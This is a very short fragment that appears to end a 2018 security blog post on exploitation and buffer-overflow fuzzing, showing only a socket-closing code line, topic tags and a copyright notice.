s.close()


exploit, fuzzing, bufferoverflow, security


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.